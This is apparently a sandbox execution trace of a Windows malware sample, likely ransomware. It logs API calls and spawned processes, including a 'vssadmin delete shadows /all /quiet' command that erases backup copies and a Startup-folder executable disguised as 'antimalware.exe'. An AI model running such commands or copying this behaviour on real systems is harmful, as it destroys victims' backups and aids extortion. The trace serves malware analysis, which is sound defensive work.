	[0167.133] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0167.133] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1
	[0167.133] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.133] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0167.133] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0167.133] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1
	[0167.133] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.133] GetFileType (hFile=0x248) returned 0x3
	[0167.134] _get_osfhandle (_FileHandle=0) returned 0x248
	[0167.134] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0167.134] _get_osfhandle (_FileHandle=1) returned 0x254
	[0167.134] GetFileType (hFile=0x254) returned 0x3
	[0167.134] _get_osfhandle (_FileHandle=1) returned 0x254
	[0167.134] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6
	[0167.134] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xb15814f678, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f678*=0x5, lpOverlapped=0x0) returned 1
	[0167.134] GetProcessHeap () returned 0x28860f10000
	[0167.134] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x4012) returned 0x28860f18e90
	[0167.134] GetProcessHeap () returned 0x28860f10000
	[0167.134] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f18e90) returned 1
	[0167.135] _wcsicmp (_String1="Exit", _String2=")") returned 60
	[0167.135] _wcsicmp (_String1="FOR", _String2="Exit") returned 1
	[0167.135] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1
	[0167.135] _wcsicmp (_String1="IF", _String2="Exit") returned 4
	[0167.136] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4
	[0167.136] _wcsicmp (_String1="REM", _String2="Exit") returned 13
	[0167.136] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13
	[0167.136] GetProcessHeap () returned 0x28860f10000
	[0167.136] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xb0) returned 0x28860f10730
	[0167.136] GetProcessHeap () returned 0x28860f10000
	[0167.136] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x1a) returned 0x28860f16330
	[0167.137] GetConsoleOutputCP () returned 0x4e3
	[0167.227] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0167.228] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0167.343] GetConsoleTitleW (in: lpConsoleTitle=0xb15814f4c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0167.674] malloc (_Size=0xffce) returned 0x28861100840
	[0167.674] ??_V@YAXPEAX@Z () returned 0x28861100840
	[0167.675] malloc (_Size=0xffce) returned 0x28861110820
	[0167.675] ??_V@YAXPEAX@Z () returned 0x28861110820
	[0167.675] _wcsicmp (_String1="Exit", _String2="DIR") returned 1
	[0167.675] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6
	[0167.675] _wcsicmp (_String1="Exit", _String2="DEL") returned 1
	[0167.675] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15
	[0167.675] _wcsicmp (_String1="Exit", _String2="COPY") returned 2
	[0167.675] _wcsicmp (_String1="Exit", _String2="CD") returned 2
	[0167.675] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2
	[0167.675] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13
	[0167.675] _wcsicmp (_String1="Exit", _String2="REN") returned -13
	[0167.675] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21
	[0167.675] _wcsicmp (_String1="Exit", _String2="SET") returned -14
	[0167.675] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11
	[0167.675] _wcsicmp (_String1="Exit", _String2="DATE") returned 1
	[0167.675] _wcsicmp (_String1="Exit", _String2="TIME") returned -15
	[0167.675] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11
	[0167.675] _wcsicmp (_String1="Exit", _String2="MD") returned -8
	[0167.675] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8
	[0167.675] _wcsicmp (_String1="Exit", _String2="RD") returned -13
	[0167.675] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13
	[0167.675] _wcsicmp (_String1="Exit", _String2="PATH") returned -11
	[0167.675] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2
	[0167.675] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14
	[0167.676] _wcsicmp (_String1="Exit", _String2="CLS") returned 2
	[0167.676] _wcsicmp (_String1="Exit", _String2="CALL") returned 2
	[0167.676] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17
	[0167.676] _wcsicmp (_String1="Exit", _String2="VER") returned -17
	[0167.676] _wcsicmp (_String1="Exit", _String2="VOL") returned -17
	[0167.676] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0
	[0167.676] ??_V@YAXPEAX@Z () returned 0x1
	[0167.676] GetProcessHeap () returned 0x28860f10000
	[0167.676] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x14) returned 0x28860f17610
	[0167.676] GetProcessHeap () returned 0x28860f10000
	[0167.676] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x1a) returned 0x28860f16500
	[0167.676] GetProcessHeap () returned 0x28860f10000
	[0167.676] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x21c) returned 0x28860f177c0
	[0167.676] GetConsoleTitleW (in: lpConsoleTitle=0x28860f177d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0167.797] GetProcessHeap () returned 0x28860f10000
	[0167.797] RtlReAllocateHeap (Heap=0x28860f10000, Flags=0x0, Ptr=0x28860f177c0, Size=0x64) returned 0x28860f177c0
	[0167.797] GetProcessHeap () returned 0x28860f10000
	[0167.797] RtlSizeHeap (HeapHandle=0x28860f10000, Flags=0x0, MemoryPointer=0x28860f177c0) returned 0x64
	[0167.797] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1
	[0167.859] GetProcessHeap () returned 0x28860f10000
	[0167.859] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f177c0) returned 1
	[0167.859] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0168.109] exit (_Code=2) 

Thread:
	id = 60
	os_tid = 0xe70


Process:
	id = "9"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x6bd46000"
	os_pid = "0xe10"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xdf8"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 40
	os_tid = 0xe14


Thread:
	id = 48
	os_tid = 0xe34


Thread:
	id = 54
	os_tid = 0xe58


Thread:
	id = 55
	os_tid = 0xe5c


Thread:
	id = 57
	os_tid = 0xe64


Process:
	id = "10"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0x37ad7000"
	os_pid = "0xe84"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xdf8"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 78
	os_tid = 0xe88


Thread:
	id = 79
	os_tid = 0xe8c


Process:
	id = "11"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x5be9a000"
	os_pid = "0x568"
	os_integrity_level = "0x4000"
	os_privileges = "0x260814080"
	monitor_reason = "rpc_server"
	parent_id = "6"
	os_parent_pid = "0xdd4"
	cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "64"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e7c5" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 64
	os_tid = 0xa78


Thread:
	id = 65
	os_tid = 0xa74


Thread:
	id = 66
	os_tid = 0xa70


Thread:
	id = 67
	os_tid = 0xa6c


Thread:
	id = 68
	os_tid = 0x994


Thread:
	id = 69
	os_tid = 0x990


Thread:
	id = 70
	os_tid = 0x988


Thread:
	id = 71
	os_tid = 0x624


Thread:
	id = 72
	os_tid = 0x610


Thread:
	id = 73
	os_tid = 0x5e0


Thread:
	id = 74
	os_tid = 0x5dc


Thread:
	id = 75
	os_tid = 0x5d8


Thread:
	id = 76
	os_tid = 0x570


Thread:
	id = 77
	os_tid = 0x56c


Process:
	id = "12"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x2fe0f000"
	os_pid = "0xeac"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xdf8"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 80
	os_tid = 0xeb0


Thread:
	id = 81
	os_tid = 0xeb4


Thread:
	id = 82
	os_tid = 0xf04


Thread:
	id = 83
	os_tid = 0xf0c


Thread:
	id = 84
	os_tid = 0xf10


Process:
	id = "13"
	image_name = "cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"
	page_root = "0x2d708000"
	os_pid = "0xfb4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xdd4"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe\" -a"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011d1e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 85
	os_tid = 0xfb8

	[0176.101] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x763a0000
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="GetProcAddress") returned 0x763b51b0
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="GetModuleHandleW") returned 0x763b50d0
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="FindNextFileW") returned 0x7640ee40
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="FindClose") returned 0x7640ed70
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="MoveFileW") returned 0x763ee500
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="GetFileSizeEx") returned 0x7640ef40
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="GetModuleFileNameW") returned 0x763b5090
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="GetFileAttributesW") returned 0x7640ef10
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="ExitProcess") returned 0x763b3cb0
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="GetCommandLineW") returned 0x763b4cc0
	[0176.101] GetProcAddress (hModule=0x763a0000, lpProcName="GetComputerNameW") returned 0x763e32c0
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="GetComputerNameA") returned 0x763e3780
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="CreateMutexW") returned 0x7640eb70
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="lstrlenW") returned 0x763b6c70
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="lstrlenA") returned 0x763b6c50
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="GetCurrentProcess") returned 0x7640ea10
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="WaitForSingleObject") returned 0x7640eca0
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="GetLogicalDrives") returned 0x763b0d20
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="GetTickCount") returned 0x7640dd50
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="DeleteFileW") returned 0x7640ed40
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="WideCharToMultiByte") returned 0x763b6b10
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7640ebb0
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="Sleep") returned 0x763b6760
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="LeaveCriticalSection") returned 0x7763b250
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="ReadFile") returned 0x7640f090
	[0176.102] GetProcAddress (hModule=0x763a0000, lpProcName="CreateFileW") returned 0x7640ed10
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="OpenMutexW") returned 0x7640ebf0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="EnterCriticalSection") returned 0x7763b2d0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="WaitForMultipleObjects") returned 0x7640ec80
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="lstrcmpiW") returned 0x763b6bf0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="lstrcmpiA") returned 0x763b6bd0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="DeleteCriticalSection") returned 0x7761fb90
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="ReleaseMutex") returned 0x7640ec20
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="CloseHandle") returned 0x7640eab0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="GetVersion") returned 0x763b56c0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="CreateThread") returned 0x763b46b0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="ExpandEnvironmentStringsW") returned 0x763b4a40
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="QueryPerformanceCounter") returned 0x763b5da0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="QueryPerformanceFrequency") returned 0x763b5dc0
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="GetCurrentProcessId") returned 0x7640ea20
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="SetFileAttributesW") returned 0x7640f100
	[0176.103] GetProcAddress (hModule=0x763a0000, lpProcName="GetVolumeInformationW") returned 0x7640f020
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="WriteFile") returned 0x7640f180
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="SetFilePointerEx") returned 0x7640f130
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="SetEndOfFile") returned 0x7640f0e0
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="FindFirstFileW") returned 0x7640edf0
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="GetProcessHeap") returned 0x763b51f0
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="HeapReAlloc") returned 0x7762f630
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="HeapAlloc") returned 0x77632dc0
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="HeapFree") returned 0x763b57f0
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="CreatePipe") returned 0x763b4590
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="SetHandleInformation") returned 0x7640eae0
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="CreateProcessW") returned 0x763b4610
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="CompareStringW") returned 0x763b4430
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="CompareStringA") returned 0x763b4410
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="OpenProcess") returned 0x763b5cc0
	[0176.104] GetProcAddress (hModule=0x763a0000, lpProcName="TerminateProcess") returned 0x763b67e0
	[0176.105] GetProcAddress (hModule=0x763a0000, lpProcName="GetSystemTime") returned 0x763b54e0
	[0176.105] GetProcAddress (hModule=0x763a0000, lpProcName="SystemTimeToFileTime") returned 0x763b67a0
	[0176.105] GetProcAddress (hModule=0x763a0000, lpProcName="GetLastError") returned 0x763b5010
	[0176.105] GetProcAddress (hModule=0x763a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x763eedc0
	[0176.105] GetProcAddress (hModule=0x763a0000, lpProcName="Process32NextW") returned 0x763ef8f0
	[0176.105] GetProcAddress (hModule=0x763a0000, lpProcName="Process32FirstW") returned 0x763ef750
	[0176.105] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x748c0000
	[0176.276] GetProcAddress (hModule=0x748c0000, lpProcName="RegOpenKeyExW") returned 0x748de580
	[0176.277] GetProcAddress (hModule=0x748c0000, lpProcName="RegQueryValueExW") returned 0x748de5a0
	[0176.277] GetProcAddress (hModule=0x748c0000, lpProcName="RegSetValueExW") returned 0x748df530
	[0176.277] GetProcAddress (hModule=0x748c0000, lpProcName="RegCloseKey") returned 0x748ded60
	[0176.277] GetProcAddress (hModule=0x748c0000, lpProcName="OpenProcessToken") returned 0x748defb0
	[0176.277] GetProcAddress (hModule=0x748c0000, lpProcName="GetTokenInformation") returned 0x748dee90
	[0176.277] GetProcAddress (hModule=0x748c0000, lpProcName="OpenSCManagerW") returned 0x748e0540
	[0176.277] GetProcAddress (hModule=0x748c0000, lpProcName="OpenServiceW") returned 0x748dfa20
	[0176.277] GetProcAddress (hModule=0x748c0000, lpProcName="CloseServiceHandle") returned 0x748dfc00
	[0176.278] GetProcAddress (hModule=0x748c0000, lpProcName="ControlService") returned 0x748f26d0
	[0176.278] GetProcAddress (hModule=0x748c0000, lpProcName="QueryServiceStatus") returned 0x748e2380
	[0176.278] GetProcAddress (hModule=0x748c0000, lpProcName="EnumDependentServicesW") returned 0x748f2f70
	[0176.278] GetProcAddress (hModule=0x748c0000, lpProcName="EnumServicesStatusExW") returned 0x748dfc80
	[0176.278] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76260000
	[0176.679] GetProcAddress (hModule=0x76260000, lpProcName="SystemParametersInfoW") returned 0x7628f210
	[0176.679] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74dc0000
	[0177.134] GetProcAddress (hModule=0x74dc0000, lpProcName="ShellExecuteExW") returned 0x74f24730
	[0177.134] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x775f0000
	[0177.134] GetProcAddress (hModule=0x775f0000, lpProcName="NtQuerySystemInformation") returned 0x77662070
	[0177.134] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73ff0000
	[0177.157] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetCloseEnum") returned 0x73ff2640
	[0177.157] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetOpenEnumW") returned 0x73ff2790
	[0177.157] GetProcAddress (hModule=0x73ff0000, lpProcName="WNetEnumResourceW") returned 0x73ff2410
	[0177.157] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74a00000
	[0177.160] GetProcAddress (hModule=0x74a00000, lpProcName="WSAStartup") returned 0x74a05b40
	[0177.160] GetProcAddress (hModule=0x74a00000, lpProcName="socket") returned 0x74a14510
	[0177.160] GetProcAddress (hModule=0x74a00000, lpProcName="send") returned 0x74a05030
	[0177.160] GetProcAddress (hModule=0x74a00000, lpProcName="recv") returned 0x74a10c50
	[0177.161] GetProcAddress (hModule=0x74a00000, lpProcName="connect") returned 0x74a05410
	[0177.161] GetProcAddress (hModule=0x74a00000, lpProcName="closesocket") returned 0x74a10910
	[0177.161] GetProcAddress (hModule=0x74a00000, lpProcName="gethostbyname") returned 0x74a36cb0
	[0177.161] GetProcAddress (hModule=0x74a00000, lpProcName="inet_addr") returned 0x74a19160
	[0177.161] GetProcAddress (hModule=0x74a00000, lpProcName="ntohl") returned 0x74a049d0
	[0177.161] GetProcAddress (hModule=0x74a00000, lpProcName="htonl") returned 0x74a049d0
	[0177.161] GetProcAddress (hModule=0x74a00000, lpProcName="htons") returned 0x74a18ff0
	[0177.161] GetProcessHeap () returned 0x6a0000
	[0177.162] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ab0f0
	[0177.162] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=10424675004) returned 1
	[0177.162] GetTickCount () returned 0x1971a
	[0177.162] GetCurrentProcessId () returned 0xfb4
	[0177.164] GetTickCount () returned 0x1971a
	[0177.164] GetTickCount () returned 0x1971a
	[0177.164] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ab190
	[0177.164] GetVersion () returned 0x23f00206
	[0177.164] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x7) returned 0x6b70d0
	[0177.164] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b8448
	[0177.164] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b8448, Size=0x20) returned 0x6ab1b8
	[0177.164] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ab1b8, Size=0x40) returned 0x6b7b38
	[0177.164] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6bd8b0
	[0177.165] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_LBGLWIA") returned 0x1ec
	[0177.165] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b70d0 | out: hHeap=0x6a0000) returned 1
	[0177.165] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0177.165] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b7b38 | out: hHeap=0x6a0000) returned 1
	[0177.165] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x7) returned 0x6b71e0
	[0177.165] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b8208
	[0177.165] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b8208, Size=0x20) returned 0x6ab1b8
	[0177.165] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ab1b8, Size=0x40) returned 0x6b78b0
	[0177.165] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x6cd8b8
	[0177.165] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_LBGLWIU") returned 0x1f0
	[0177.166] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b71e0 | out: hHeap=0x6a0000) returned 1
	[0177.166] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0177.166] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b78b0 | out: hHeap=0x6a0000) returned 1
	[0177.166] GetVersion () returned 0x23f00206
	[0177.166] GetCurrentProcess () returned 0xffffffff
	[0177.166] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0177.166] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0177.166] CloseHandle (hObject=0x1f4) returned 1
	[0177.166] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0177.166] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b6470
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6b83d0
	[0177.166] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b83d0, Size=0x20) returned 0x6ab1b8
	[0177.166] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ab1b8, Size=0x40) returned 0x6b7700
	[0177.166] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7700, Size=0x80) returned 0x6b6f10
	[0177.166] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b6f10, Size=0x100) returned 0x6b87e0
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x34) returned 0x6ba740
	[0177.166] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6b70d0
